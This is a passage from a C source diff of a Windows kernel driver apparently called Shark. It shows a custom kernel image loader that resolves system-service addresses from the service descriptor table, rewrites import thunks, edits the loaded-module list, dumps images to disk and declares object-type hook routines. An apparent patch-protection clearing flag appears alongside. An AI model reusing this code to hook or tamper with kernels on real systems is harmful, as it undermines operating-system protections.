(NULL != ExportDirectory) { + NameTable = (u8ptr)ImageBase + ExportDirectory->AddressOfNames; + OrdinalTable = (u8ptr)ImageBase + ExportDirectory->AddressOfNameOrdinals; + AddressTable = (u8ptr)ImageBase + ExportDirectory->AddressOfFunctions; + + if (NULL != NameTable && + NULL != OrdinalTable && + NULL != AddressTable) { + if (ProcedureNumber >= ExportDirectory->Base && + ProcedureNumber < MAXSHORT) { + ProcedureAddress = (u8ptr)ImageBase + + AddressTable[ProcedureNumber - ExportDirectory->Base]; + } + else { + for (HintIndex = 0; + HintIndex < ExportDirectory->NumberOfNames; + HintIndex++) { + NameTableName = (u8ptr)ImageBase + NameTable[HintIndex]; + + if (0 == _stricmp( + ProcedureName, + NameTableName)) { + ProcedureAddress = (u8ptr)ImageBase + + AddressTable[OrdinalTable[HintIndex]]; + } + } + } + } + + if ((u)ProcedureAddress >= (u)ExportDirectory && + (u)ProcedureAddress < (u)ExportDirectory + Size) { + ProcedureAddress = LdrForward(ProcedureAddress); + } + } + + return ProcedureAddress; +} + +s32 +NTAPI +LdrNameToNumber( + __in cptr String +) +{ + status Status = STATUS_SUCCESS; + ptr Handle = NULL; + ptr Section = NULL; + OBJECT_ATTRIBUTES ObjectAttributes = { 0 }; + UNICODE_STRING ImageFileName = { 0 }; + IO_STATUS_BLOCK IoStatusBlock = { 0 }; + ptr ViewBase = NULL; + u ViewSize = 0; + u8ptr TargetPc = NULL; + s32 Number = -1; + + RtlInitUnicodeString( + &ImageFileName, + L"\\SystemRoot\\System32\\ntdll.dll"); + + InitializeObjectAttributes( + &ObjectAttributes, + &ImageFileName, + OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, + NULL, + NULL); + + Status = ZwOpenFile( + &Handle, + FILE_EXECUTE, + &ObjectAttributes, + &IoStatusBlock, + FILE_SHARE_READ | FILE_SHARE_DELETE, + 0); + + if (TRACE(Status)) { + InitializeObjectAttributes( + &ObjectAttributes, + NULL, + OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, + NULL, + NULL); + + Status = ZwCreateSection( + &Section, + SECTION_MAP_READ | SECTION_MAP_EXECUTE, + &ObjectAttributes, + NULL, + PAGE_EXECUTE, + SEC_IMAGE, + Handle); + + if (TRACE(Status)) { + Status = ZwMapViewOfSection( + Section, + ZwCurrentProcess(), + &ViewBase, + 0L, + 0L, + NULL, + &ViewSize, + ViewShare, + 0L, + PAGE_EXECUTE); + + if (TRACE(Status)) { + TargetPc = LdrGetSymbol( + ViewBase, + String, + 0); + + if (NULL != TargetPc) { + +#ifndef _WIN64 + Number = __rds32(TargetPc + 1); +#else + Number = __rds32(TargetPc + 4); +#endif // !_WIN64 + } + + ZwUnmapViewOfSection(NtCurrentProcess(), ViewBase); + } + + ZwClose(Section); + } + + ZwClose(Handle); + } + + return Number; +} + +ptr +NTAPI +LdrNameToAddress( + __in cptr String +) +{ + ptr RoutineAddress = NULL; + UNICODE_STRING RoutineString = { 0 }; + s32 Number = -1; + u8ptr ControlPc = NULL; + u8ptr TargetPc = NULL; + u32 FirstLength = 0; + u32 Length = 0; + + if (0 == _cmpbyte(String[0], 'Z') && + 0 == _cmpbyte(String[1], 'w')) { + RtlInitUnicodeString(&RoutineString, L"ZwClose"); + + ControlPc = MmGetSystemRoutineAddress(&RoutineString); + + if (NULL != ControlPc) { + Number = LdrNameToNumber("NtClose"); + + RoutineAddress = ControlPc + + RtBlock.NameInterval * (s)(LdrNameToNumber(String) - Number); + } + } + else if (0 == _cmpbyte(String[0], 'N') && + 0 == _cmpbyte(String[1], 't')) { + Number = LdrNameToNumber(String); + +#ifndef _WIN64 + RoutineAddress = UlongToPtr(RtBlock.KeServiceDescriptorTable[0].Base[Number]); +#else + RoutineAddress = (u8ptr)RtBlock.KeServiceDescriptorTable[0].Base + + (((s32ptr)RtBlock.KeServiceDescriptorTable[0].Base)[Number] >> 4); +#endif // !_WIN64 + } + + return RoutineAddress; +} + +ptr +NTAPI +LdrLoadImport( + __in cptr ImageName +) +{ + status Status = STATUS_SUCCESS; + PKLDR_DATA_TABLE_ENTRY DataTableEntry = NULL; + ANSI_STRING String = { 0 }; + UNICODE_STRING ImageFileName = { 0 }; + ptr ImageBase = NULL; + + RtlInitAnsiString(&String, ImageName); + + Status = RtlAnsiStringToUnicodeString( + &ImageFileName, + &String, + TRUE); + + if (TRACE(Status)) { + Status = FindEntryForImage( + &ImageFileName, + &DataTableEntry); + + if (NT_SUCCESS(Status)) { + ImageBase = DataTableEntry->DllBase; + } + + RtlFreeUnicodeString(&ImageFileName); + } + + return ImageBase; +} + +void +NTAPI +LdrSnapThunk( + __in ptr ImageBase +) +{ + status Status = STATUS_SUCCESS; + PIMAGE_IMPORT_DESCRIPTOR ImportDirectory = NULL; + u32 Size = 0; + PIMAGE_THUNK_DATA OriginalThunk = NULL; + PIMAGE_THUNK_DATA Thunk = NULL; + PIMAGE_IMPORT_BY_NAME ImportByName = NULL; + cptr ImageName = NULL; + ptr ImportBase = NULL; + u16 Ordinal = 0; + ptr FunctionAddress = NULL; + + ImportDirectory = RtlImageDirectoryEntryToData( + ImageBase, + TRUE, + IMAGE_DIRECTORY_ENTRY_IMPORT, + &Size); + + if (0 != Size) { + do { + OriginalThunk = (u8ptr)ImageBase + ImportDirectory->OriginalFirstThunk; + Thunk = (u8ptr)ImageBase + ImportDirectory->FirstThunk; + ImageName = (u8ptr)ImageBase + ImportDirectory->Name; + + ImportBase = LdrLoadImport(ImageName); + + if (NULL != ImportBase) { + do { + if (IMAGE_SNAP_BY_ORDINAL(OriginalThunk->u1.Ordinal)) { + Ordinal = (u16)IMAGE_ORDINAL(OriginalThunk->u1.Ordinal); + + FunctionAddress = LdrGetSymbol( + ImportBase, + NULL, + Ordinal); + + if (NULL != FunctionAddress) { + Thunk->u1.Function = (u)FunctionAddress; + } + else { + vDbgPrint( + "[SHARK] import procedure ordinal@%d not found\n", + Ordinal); + } + } + else { + ImportByName = (u8ptr)ImageBase + OriginalThunk->u1.AddressOfData; + + if ((0 == _cmpbyte(ImportByName->Name[0], 'Z') && + 0 == _cmpbyte(ImportByName->Name[1], 'w')) || + (0 == _cmpbyte(ImportByName->Name[0], 'N') && + 0 == _cmpbyte(ImportByName->Name[1], 't'))) { + FunctionAddress = LdrNameToAddress(ImportByName->Name); + } + else { + FunctionAddress = LdrGetSymbol( + ImportBase, + ImportByName->Name, + 0); + } + + if (NULL != FunctionAddress) { + Thunk->u1.Function = (u)FunctionAddress; + } + else { + vDbgPrint( + "[SHARK] import procedure %hs not found\n", + ImportByName->Name); + } + } + + OriginalThunk++; + Thunk++; + } while (OriginalThunk->u1.Function); + } + else { + vDbgPrint( + "[SHARK] import %hs not found\n", + ImageName); + } + + ImportDirectory++; + } while (0 != ImportDirectory->Characteristics); + } +} + +void +NTAPI +LdrEnumerateThunk( + __in ptr ImageBase +) +{ + PIMAGE_IMPORT_DESCRIPTOR ImportDirectory = NULL; + u32 Size = 0; + PIMAGE_THUNK_DATA OriginalThunk = NULL; + PIMAGE_THUNK_DATA Thunk = NULL; + PIMAGE_IMPORT_BY_NAME ImportByName = NULL; + cptr ImportImageName = NULL; + u16 Ordinal = 0; + + ImportDirectory = RtlImageDirectoryEntryToData( + ImageBase, + TRUE, + IMAGE_DIRECTORY_ENTRY_IMPORT, + &Size); + + if (0 != Size) { + do { + OriginalThunk = (u8ptr)ImageBase + ImportDirectory->OriginalFirstThunk; + Thunk = (u8ptr)ImageBase + ImportDirectory->FirstThunk; + ImportImageName = (u8ptr)ImageBase + ImportDirectory->Name; + + do { + if (IMAGE_SNAP_BY_ORDINAL(OriginalThunk->u1.Ordinal)) { + Ordinal = (u16)IMAGE_ORDINAL(OriginalThunk->u1.Ordinal); + + vDbgPrint( + "[SHARK] < %p > %s @%d\n", + Thunk->u1.Function, + ImportImageName, + Ordinal); + } + else { + ImportByName = (u8ptr)ImageBase + OriginalThunk->u1.AddressOfData; + + vDbgPrint( + "[SHARK] < %p > %s %s\n", + Thunk->u1.Function, + ImportImageName, + ImportByName->Name); + } + + OriginalThunk++; + Thunk++; + } while (OriginalThunk->u1.Function); + + ImportDirectory++; + } while (0 != ImportDirectory->Characteristics); + } +} + +void +NTAPI +LdrReplaceThunk( + __in ptr ImageBase, + __in_opt cptr ImageName, + __in_opt cptr ProcedureName, + __in_opt u32 ProcedureNumber, + __in ptr ProcedureAddress +) +{ + PIMAGE_IMPORT_DESCRIPTOR ImportDirectory = NULL; + u32 Size = 0; + PIMAGE_THUNK_DATA OriginalThunk = NULL; + PIMAGE_THUNK_DATA Thunk = NULL; + PIMAGE_IMPORT_BY_NAME ImportByName = NULL; + cptr ImportImageName = NULL; + u16 Ordinal = 0; + + ImportDirectory = RtlImageDirectoryEntryToData( + ImageBase, + TRUE, + IMAGE_DIRECTORY_ENTRY_IMPORT, + &Size); + + if (0 != Size) { + do { + OriginalThunk = (u8ptr)ImageBase + ImportDirectory->OriginalFirstThunk; + Thunk = (u8ptr)ImageBase + ImportDirectory->FirstThunk; + ImportImageName = (u8ptr)ImageBase + ImportDirectory->Name; + + if (NULL != ImageName) { + if (0 != _stricmp(ImportImageName, ImageName)) { + ImportDirectory++; + + continue; + } + } + + do { + if (IMAGE_SNAP_BY_ORDINAL(OriginalThunk->u1.Ordinal)) { + Ordinal = (u16)IMAGE_ORDINAL(OriginalThunk->u1.Ordinal); + + if (0 != ProcedureNumber && + Ordinal == ProcedureNumber) { + MapLockedCopyInstruction( + &Thunk->u1.Function, &ProcedureAddress, sizeof(ptr)); + } + } + else { + ImportByName = (u8ptr)ImageBase + OriginalThunk->u1.AddressOfData; + + if (NULL != ProcedureName && + 0 == _stricmp( + ImportByName->Name, + ProcedureName)) { + MapLockedCopyInstruction( + &Thunk->u1.Function, &ProcedureAddress, sizeof(ptr)); + } + } + + OriginalThunk++; + Thunk++; + } while (OriginalThunk->u1.Function); + + ImportDirectory++; + } while (0 != ImportDirectory->Characteristics); + } +} + +ptr +NTAPI +LdrAllocate( + __in ptr ViewBase +) +{ + ptr ImageBase = NULL; + u32 SizeOfEntry = 0; + + SizeOfEntry = LdrGetSize(ViewBase) + PAGE_SIZE; + + ImageBase = __malloc(SizeOfEntry); + + if (NULL != ImageBase) { + ImageBase = (u8ptr)ImageBase + PAGE_SIZE; + } + + return ImageBase; +} + +u32 +NTAPI +LdrMakeProtection( + __in PIMAGE_SECTION_HEADER NtSection +) +{ + u8 Protection[] = { + PAGE_NOACCESS, + PAGE_EXECUTE, + PAGE_READONLY, + PAGE_EXECUTE_READ, + PAGE_READWRITE, + PAGE_EXECUTE_READWRITE, + PAGE_READWRITE, + PAGE_EXECUTE_READWRITE + }; + + return Protection[NtSection->Characteristics >> 29]; +} + +s +NTAPI +LdrSetImageBase( + __in ptr ImageBase +) +{ + PIMAGE_NT_HEADERS NtHeaders = NULL; + s Diff = 0; + + NtHeaders = RtlImageNtHeader(ImageBase); + + if (NULL != NtHeaders) { + if (IMAGE_NT_OPTIONAL_HDR32_MAGIC == NtHeaders->OptionalHeader.Magic) { + Diff = (s)ImageBase + - (s)((PIMAGE_NT_HEADERS32)NtHeaders)->OptionalHeader.ImageBase; + + ((PIMAGE_NT_HEADERS32)NtHeaders)->OptionalHeader.ImageBase = + (u)ImageBase; + } + + if (IMAGE_NT_OPTIONAL_HDR64_MAGIC == NtHeaders->OptionalHeader.Magic) { + Diff = (s64)ImageBase + - (s64)((PIMAGE_NT_HEADERS64)NtHeaders)->OptionalHeader.ImageBase; + + ((PIMAGE_NT_HEADERS64)NtHeaders)->OptionalHeader.ImageBase = + (u64)ImageBase; + } + } + + return Diff; +} + +ptr +NTAPI +LdrMapSection( + __in ptr ViewBase, + __in u32 Flags +) +{ + ptr ImageBase = NULL; + PIMAGE_NT_HEADERS NtHeaders = NULL; + PIMAGE_SECTION_HEADER NtSection = NULL; + s Diff = 0; + u Index = 0; + u32 SizeToLock = 0; + + NtHeaders = RtlImageNtHeader(ViewBase); + + if (NULL != NtHeaders) { + ImageBase = LdrAllocate(ViewBase); + + if (NULL != ImageBase) { + RtlZeroMemory( + ImageBase, + NtHeaders->OptionalHeader.SizeOfImage); + + NtSection = IMAGE_FIRST_SECTION(NtHeaders); + + RtlCopyMemory( + ImageBase, + ViewBase, + NtSection->VirtualAddress); + + for (Index = 0; + Index < NtHeaders->FileHeader.NumberOfSections; + Index++) { + if (0 != NtSection[Index].VirtualAddress) { + SizeToLock = max( + NtSection[Index].SizeOfRawData, + NtSection[Index].Misc.VirtualSize); + + RtlCopyMemory( + (u8ptr)ImageBase + NtSection[Index].VirtualAddress, + (u8ptr)ViewBase + + (LDRP_REDIRECTED == (Flags & LDRP_REDIRECTED) ? + NtSection[Index].VirtualAddress : NtSection[Index].PointerToRawData), + SizeToLock); + } + } + + Diff = LdrSetImageBase(ImageBase); + + if (0 != Diff) { + LdrRelocImage(ImageBase, Diff); + } + + LdrSnapThunk(ImageBase); + } + } + + return ImageBase; +} + +PKLDR_DATA_TABLE_ENTRY +NTAPI +LdrLoad( + __in ptr ViewBase, + __in wcptr ImageName, + __in u32 Flags +) +{ + status Status = STATUS_SUCCESS; + PKLDR_DATA_TABLE_ENTRY DataTableEntry = NULL; + UNICODE_STRING ImageFileName = { 0 }; + ptr ImageBase = NULL; + wcptr BaseName = NULL; + + BaseName = wcsrchr(ImageName, L'\\'); + + if (NULL == BaseName) { + BaseName = ImageName; + } + else { + BaseName++; + } + + RtlInitUnicodeString(&ImageFileName, BaseName); + + Status = FindEntryForImage( + &ImageFileName, + &DataTableEntry); + + if (NT_SUCCESS(Status)) { + DataTableEntry->LoadCount++; + } + else { + ImageBase = LdrMapSection(ViewBase, Flags); + + if (NULL != ImageBase) { + DataTableEntry = (PKLDR_DATA_TABLE_ENTRY) + ((u8ptr)ImageBase - PAGE_SIZE); + + RtlZeroMemory( + DataTableEntry, + sizeof(KLDR_DATA_TABLE_ENTRY) + + MAXIMUM_FILENAME_LENGTH * sizeof(wc) * 2); + + DataTableEntry->DllBase = ImageBase; + DataTableEntry->SizeOfImage = LdrGetSize(ImageBase); + DataTableEntry->EntryPoint = LdrGetEntryPoint(ImageBase); + DataTableEntry->Flags = Flags & ~LDRP_ENTRY_INSERTED; + DataTableEntry->LoadCount = 0; + + DataTableEntry->FullDllName.Buffer = DataTableEntry + 1; + + DataTableEntry->FullDllName.MaximumLength = + MAXIMUM_FILENAME_LENGTH * sizeof(wc); + + wcscpy(DataTableEntry->FullDllName.Buffer, SystemRootDirectory); + wcscat(DataTableEntry->FullDllName.Buffer, BaseName); + + DataTableEntry->FullDllName.Length = + wcslen(DataTableEntry->FullDllName.Buffer) * sizeof(wc); + + DataTableEntry->BaseDllName.Buffer = + DataTableEntry->FullDllName.Buffer + MAXIMUM_FILENAME_LENGTH; + + DataTableEntry->BaseDllName.MaximumLength = + MAXIMUM_FILENAME_LENGTH * sizeof(wc); + + wcscpy(DataTableEntry->BaseDllName.Buffer, BaseName); + + DataTableEntry->BaseDllName.Length = + wcslen(DataTableEntry->BaseDllName.Buffer) * sizeof(wc); + + if (LDRP_ENTRY_INSERTED == (Flags & LDRP_ENTRY_INSERTED)) { + if (CmdPgClear == + (RtBlock.Operation & CmdPgClear)) { + CaptureImageExceptionValues( + DataTableEntry->DllBase, + &DataTableEntry->ExceptionTable, + &DataTableEntry->ExceptionTableSize); + +#ifdef _WIN64 + InsertInvertedFunctionTable( + DataTableEntry->DllBase, + DataTableEntry->SizeOfImage); +#endif // _WIN64 + } + + RtBlock.KeEnterCriticalRegion(); + ExAcquireResourceExclusiveLite(RtBlock.PsLoadedModuleResource, TRUE); + + InsertTailList( + &RtBlock.LoadedModuleList, + &DataTableEntry->InLoadOrderLinks); + + ExReleaseResourceLite(RtBlock.PsLoadedModuleResource); + RtBlock.KeLeaveCriticalRegion(); + + DataTableEntry->LoadCount++; + } + } + } + + return DataTableEntry; +} + +void +NTAPI +LdrUnload( + __in PKLDR_DATA_TABLE_ENTRY DataTableEntry +) +{ + status Status = STATUS_SUCCESS; + + DataTableEntry->LoadCount--; + + if (0 == DataTableEntry->LoadCount) { + RtBlock.KeEnterCriticalRegion(); + ExAcquireResourceExclusiveLite(RtBlock.PsLoadedModuleResource, TRUE); + + RemoveEntryList(&DataTableEntry->InLoadOrderLinks); + + ExReleaseResourceLite(RtBlock.PsLoadedModuleResource); + RtBlock.KeLeaveCriticalRegion(); + + if (CmdPgClear == + (RtBlock.Operation & CmdPgClear)) { +#ifdef _WIN64 + RemoveInvertedFunctionTable(DataTableEntry->DllBase); +#endif // _WIN64 + } + + __free(DataTableEntry); + } +} + +void +NTAPI +DumpImageWorker( + __in ptr ImageBase, + __in u32 SizeOfImage, + __in PUNICODE_STRING ImageFIleName +) +{ + status Status = STATUS_SUCCESS; + ptr FileHandle = NULL; + UNICODE_STRING FilePath = { 0 }; + OBJECT_ATTRIBUTES ObjectAttributes = { 0 }; + IO_STATUS_BLOCK IoStatusBlock = { 0 }; + PIMAGE_NT_HEADERS NtHeaders = NULL; + PIMAGE_SECTION_HEADER NtSection = NULL; + u Index = 0; + u32 SizeToLock = 0; + GUID Guid = { 0 }; + wc FilePathBuffer[MAXIMUM_FILENAME_LENGTH] = { 0 }; + wc FileBaseBuffer[MAXIMUM_FILENAME_LENGTH] = { 0 }; + u32 FileBaseNumberOfElements = 0; + wc FileExtBuffer[MAXIMUM_FILENAME_LENGTH] = { 0 }; + u32 FileExtNumberOfElements = 0; + LARGE_INTEGER ByteOffset = { 0 }; + PMMPTE PointerPde = NULL; + PMMPTE PointerPte = NULL; + + NtHeaders = RtlImageNtHeader(ImageBase); + + if (NULL != NtHeaders) { + Status = ExUuidCreate(&Guid); + + if (TRACE(Status)) { + Index = ImageFIleName->Length / sizeof(wc); + + do { + Index--; + + if (L'.' == ImageFIleName->Buffer[Index]) { + FileExtNumberOfElements = + ImageFIleName->Length - Index * sizeof(wc); + + RtlCopyMemory( + FileExtBuffer, + &ImageFIleName->Buffer[Index], + FileExtNumberOfElements); + + break; + } + } while (Index > 0); + + Index = ImageFIleName->Length / sizeof(wc); + + do { + Index--; + + if (L'\\' == ImageFIleName->Buffer[Index]) { + FileBaseNumberOfElements = + ImageFIleName->Length - Index * sizeof(wc); + + RtlCopyMemory( + FileBaseBuffer, + &ImageFIleName->Buffer[Index], + FileBaseNumberOfElements); + + break; + } + } while (Index > 0); + + swprintf( + FilePathBuffer, + L"\\??\\c:"); + + RtlInitUnicodeString(&FilePath, FilePathBuffer); + + RtlCopyMemory( + (u8ptr)FilePath.Buffer + FilePath.Length, + FileBaseBuffer, + FileBaseNumberOfElements - FileExtNumberOfElements); + + RtlInitUnicodeString(&FilePath, FilePathBuffer); + + swprintf( + (u8ptr)FilePath.Buffer + FilePath.Length, + L".{%08lx-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x}", + Guid.Data1, + Guid.Data2, + Guid.Data3, + Guid.Data4[0], + Guid.Data4[1], + Guid.Data4[2], + Guid.Data4[3], + Guid.Data4[4], + Guid.Data4[5], + Guid.Data4[6], + Guid.Data4[7]); + + RtlInitUnicodeString(&FilePath, FilePathBuffer); + + RtlCopyMemory( + (u8ptr)FilePath.Buffer + FilePath.Length, + FileExtBuffer, + FileExtNumberOfElements); + + RtlInitUnicodeString(&FilePath, FilePathBuffer); + + for (Index = 0; + Index < (FilePath.Length / sizeof(wc)); + Index++) { + FilePath.Buffer[Index] = towlower(FilePath.Buffer[Index]); + } + + InitializeObjectAttributes( + &ObjectAttributes, + &FilePath, + OBJ_CASE_INSENSITIVE, + NULL, + NULL); + + Status = ZwCreateFile( + &FileHandle, + FILE_ALL_ACCESS, + &ObjectAttributes, + &IoStatusBlock, + NULL, + FILE_ATTRIBUTE_NORMAL, + FILE_SHARE_READ, + FILE_OVERWRITE_IF, + FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE, + NULL, + 0); + + if (TRACE(Status)) { + NtSection = IMAGE_FIRST_SECTION(NtHeaders); + + ByteOffset.QuadPart = 0; + + TRACE(ZwWriteFile( + FileHandle, + NULL, + NULL, + NULL, + &IoStatusBlock, + ImageBase, + NtSection->VirtualAddress, + &ByteOffset, + NULL)); + + for (Index = 0; + Index < NtHeaders->FileHeader.NumberOfSections; + Index++) { + if (0 != NtSection[Index].VirtualAddress) { + ByteOffset.QuadPart = NtSection[Index].PointerToRawData; + + SizeToLock = max( + NtSection[Index].SizeOfRawData, + NtSection[Index].Misc.VirtualSize); + + PointerPte = + GetPteAddress((u8ptr)ImageBase + + NtSection[Index].VirtualAddress); + + PointerPde = + GetPdeAddress((u8ptr)ImageBase + + NtSection[Index].VirtualAddress); + + if (0 != PointerPde->u.Hard.Valid) { + if (0 != PointerPde->u.Hard.LargePage || + (0 == PointerPde->u.Hard.LargePage && 0 != PointerPte->u.Hard.Valid)) { + TRACE(ZwWriteFile( + FileHandle, + NULL, + NULL, + NULL, + &IoStatusBlock, + (u8ptr)ImageBase + NtSection[Index].VirtualAddress, + SizeToLock, + &ByteOffset, + NULL)); + } + } + } + } + + TRACE(ZwClose(FileHandle)); + +#ifdef DEBUG + vDbgPrint( + "[SHARK] dumped < %p - %08x > %wZ\n", + ImageBase, + SizeOfImage, + &FilePath); +#endif // DEBUG + } + } + } +} + +status +NTAPI +DumpFileWorker( + __in PUNICODE_STRING ImageFIleName +) +{ + status Status = STATUS_SUCCESS; + ptr SourceFileHandle = NULL; + ptr DestinationFileHandle = NULL; + UNICODE_STRING FilePath = { 0 }; + OBJECT_ATTRIBUTES ObjectAttributes = { 0 }; + IO_STATUS_BLOCK IoStatusBlock = { 0 }; + FILE_STANDARD_INFORMATION StandardInformation = { 0 }; + LARGE_INTEGER ByteOffset = { 0 }; + ptr Buffer = NULL; + GUID Guid = { 0 }; + wc FilePathBuffer[MAXIMUM_FILENAME_LENGTH] = { 0 }; + wc FileBaseBuffer[MAXIMUM_FILENAME_LENGTH] = { 0 }; + u32 FileBaseNumberOfElements = 0; + wc FileExtBuffer[MAXIMUM_FILENAME_LENGTH] = { 0 }; + u32 FileExtNumberOfElements = 0; + u32 Index = 0; + + InitializeObjectAttributes( + &ObjectAttributes, + ImageFIleName, + OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, + NULL, + NULL); + + Status = ZwOpenFile( + &SourceFileHandle, + FILE_EXECUTE | FILE_READ_DATA, + &ObjectAttributes, + &IoStatusBlock, + FILE_SHARE_READ | FILE_SHARE_DELETE, + 0); + + if (TRACE(Status)) { + Status = ZwQueryInformationFile( + SourceFileHandle, + &IoStatusBlock, + &StandardInformation, + sizeof(FILE_STANDARD_INFORMATION), + FileStandardInformation); + + if (TRACE(Status)) { + Buffer = + __malloc(StandardInformation.EndOfFile.LowPart); + + if (NULL != Buffer) { + ByteOffset.QuadPart = 0; + + Status = ZwReadFile( + SourceFileHandle, + NULL, + NULL, + NULL, + &IoStatusBlock, + Buffer, + StandardInformation.EndOfFile.LowPart, + &ByteOffset, + NULL); + + if (TRACE(Status)) { + Status = ExUuidCreate(&Guid); + + if (TRACE(Status)) { + Index = ImageFIleName->Length / sizeof(wc); + + do { + Index--; + + if (L'.' == ImageFIleName->Buffer[Index]) { + FileExtNumberOfElements = + ImageFIleName->Length - Index * sizeof(wc); + + RtlCopyMemory( + FileExtBuffer, + &ImageFIleName->Buffer[Index], + FileExtNumberOfElements); + + break; + } + } while (Index > 0); + + Index = ImageFIleName->Length / sizeof(wc); + + do { + Index--; + + if (L'\\' == ImageFIleName->Buffer[Index]) { + FileBaseNumberOfElements = + ImageFIleName->Length - Index * sizeof(wc); + + RtlCopyMemory( + FileBaseBuffer, + &ImageFIleName->Buffer[Index], + FileBaseNumberOfElements); + + break; + } + } while (Index > 0); + + swprintf( + FilePathBuffer, + L"\\??\\c:"); + + RtlInitUnicodeString(&FilePath, FilePathBuffer); + + RtlCopyMemory( + (u8ptr)FilePath.Buffer + FilePath.Length, + FileBaseBuffer, + FileBaseNumberOfElements - FileExtNumberOfElements); + + RtlInitUnicodeString(&FilePath, FilePathBuffer); + + swprintf( + (u8ptr)FilePath.Buffer + FilePath.Length, + L".{%08lx-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x}", + Guid.Data1, + Guid.Data2, + Guid.Data3, + Guid.Data4[0], + Guid.Data4[1], + Guid.Data4[2], + Guid.Data4[3], + Guid.Data4[4], + Guid.Data4[5], + Guid.Data4[6], + Guid.Data4[7]); + + RtlInitUnicodeString(&FilePath, FilePathBuffer); + + RtlCopyMemory( + (u8ptr)FilePath.Buffer + FilePath.Length, + FileExtBuffer, + FileExtNumberOfElements); + + RtlInitUnicodeString(&FilePath, FilePathBuffer); + + for (Index = 0; + Index < (FilePath.Length / sizeof(wc)); + Index++) { + FilePath.Buffer[Index] = towlower(FilePath.Buffer[Index]); + } + + InitializeObjectAttributes( + &ObjectAttributes, + &FilePath, + OBJ_CASE_INSENSITIVE, + NULL, + NULL); + + Status = ZwCreateFile( + &DestinationFileHandle, + FILE_ALL_ACCESS, + &ObjectAttributes, + &IoStatusBlock, + NULL, + FILE_ATTRIBUTE_NORMAL, + FILE_SHARE_READ, + FILE_OVERWRITE_IF, + FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE, + NULL, + 0); + + if (TRACE(Status)) { + ByteOffset.QuadPart = 0; + + TRACE(ZwWriteFile( + DestinationFileHandle, + NULL, + NULL, + NULL, + &IoStatusBlock, + Buffer, + StandardInformation.EndOfFile.LowPart, + &ByteOffset, + NULL)); + + TRACE(ZwFlushBuffersFile(DestinationFileHandle, &IoStatusBlock)); + TRACE(ZwClose(DestinationFileHandle)); + +#ifdef DEBUG + vDbgPrint( + "[SHARK] dumped %wZ to %wZ\n", + ImageFIleName, + &FilePath); +#endif // DEBUG + } + } + } + + __free(Buffer); + } + } + + ZwClose(SourceFileHandle); + } return Status; } diff --git a/Projects/Shark/Reload.h b/Projects/Shark/Reload.h index 8fd72158..6194533c 100644 --- a/Projects/Shark/Reload.h +++ b/Projects/Shark/Reload.h @@ -19,8 +19,8 @@ #ifndef _RELOAD_H_ #define _RELOAD_H_ -#include #include +#include #include #include "Space.h" @@ -30,22 +30,32 @@ extern "C" { #endif /* __cplusplus */ - typedef LONG EX_SPIN_LOCK, *PEX_SPIN_LOCK; + typedef s32 EX_SPIN_LOCK, *PEX_SPIN_LOCK; typedef enum _OB_PREOP_CALLBACK_STATUS OB_PREOP_CALLBACK_STATUS; typedef struct _OB_PRE_OPERATION_INFORMATION *POB_PRE_OPERATION_INFORMATION; typedef struct _OB_POST_OPERATION_INFORMATION *POB_POST_OPERATION_INFORMATION; - typedef struct _GPBLOCK { + // runtime state block + typedef struct _RTB { PLIST_ENTRY PsLoadedModuleList; PEPROCESS PsInitialSystemProcess; PERESOURCE PsLoadedModuleResource; struct _FUNCTION_TABLE * PsInvertedFunctionTable; KSERVICE_TABLE_DESCRIPTOR * KeServiceDescriptorTable; KSERVICE_TABLE_DESCRIPTOR * KeServiceDescriptorTableShadow; - PKLDR_DATA_TABLE_ENTRY KernelDataTableEntry; // ntoskrnl.exe - PKLDR_DATA_TABLE_ENTRY CoreDataTableEntry; // self + + union { + SUPDRVLDRIMAGE SupImage; + + struct { + KLDR_DATA_TABLE_ENTRY DataTableEntry; + wc FullDllName[MAXIMUM_FILENAME_LENGTH]; + wc BaseDllName[MAXIMUM_FILENAME_LENGTH]; + }; + }*Self; + ptr CpuControlBlock; // hypervisor ptr NativeObject; @@ -53,15 +63,17 @@ extern "C" { #ifdef _WIN64 ptr Wx86NativeObject; #endif // _WIN64 - LIST_ENTRY LoadedPrivateImageList; - LIST_ENTRY ObjectList; - KSPIN_LOCK ObjectLock; + + LIST_ENTRY LoadedModuleList; + + LIST_ENTRY Object; + KSPIN_LOCK Lock; s8 NumberProcessors; s8 Linkage[3];// { 0x33, 0xc0, 0xc3 }; - s32 BuildNumber; - u32 Flags; + u32 BuildNumber; + u32 Operation; u64 * PerfGlobalGroupMask; s8 KiSystemServiceCopyEnd[6]; cptr PerfInfoLogSysCallEntry; @@ -138,6 +150,80 @@ extern "C" { ); #endif // !_WIN64 + status + (NTAPI * ProcessOpen)( + __in OB_OPEN_REASON OpenReason, + __in KPROCESSOR_MODE PreviousMode, + __in_opt PEPROCESS Process, + __in ptr ProcessObject, + __in ACCESS_MASK * GrantedAccess, + __in u32 HandleCount + ); + + void + (NTAPI * ProcessDelete)( + __in ptr ProcessObject + ); + + status + (NTAPI * ThreadOpen)( + __in OB_OPEN_REASON OpenReason, + __in KPROCESSOR_MODE PreviousMode, + __in_opt PEPROCESS Process, + __in ptr ThreadObject, + __in ACCESS_MASK * GrantedAccess, + __in u32 HandleCount + ); + + void + (NTAPI * ThreadDelete)( + __in ptr ThreadObject + ); + + status + (NTAPI * FileOpen)( + __in OB_OPEN_REASON OpenReason, + __in KPROCESSOR_MODE PreviousMode, + __in_opt PEPROCESS Process, + __in ptr FileObject, + __in ACCESS_MASK * GrantedAccess, + __in u32 HandleCount + ); + + status + (NTAPI * FileParse)( + __in ptr ParseObject, + __in ptr ObjectType, + __in PACCESS_STATE AccessState, + __in KPROCESSOR_MODE AccessMode, + __in u32 Attributes, + __inout PUNICODE_STRING CompleteName, + __inout PUNICODE_STRING RemainingName, + __inout_opt ptr Context, + __in_opt PSECURITY_QUALITY_OF_SERVICE SecurityQos, + __out ptr * FileObject + ); + + void + (NTAPI * FileDelete)( + __in ptr FileObject + ); + + status + (NTAPI * DriverOpen)( + __in OB_OPEN_REASON OpenReason, + __in KPROCESSOR_MODE PreviousMode, + __in_opt PEPROCESS Process, + __in ptr DriverObject, + __in ACCESS_MASK * GrantedAccess, + __in u32 HandleCount + ); + 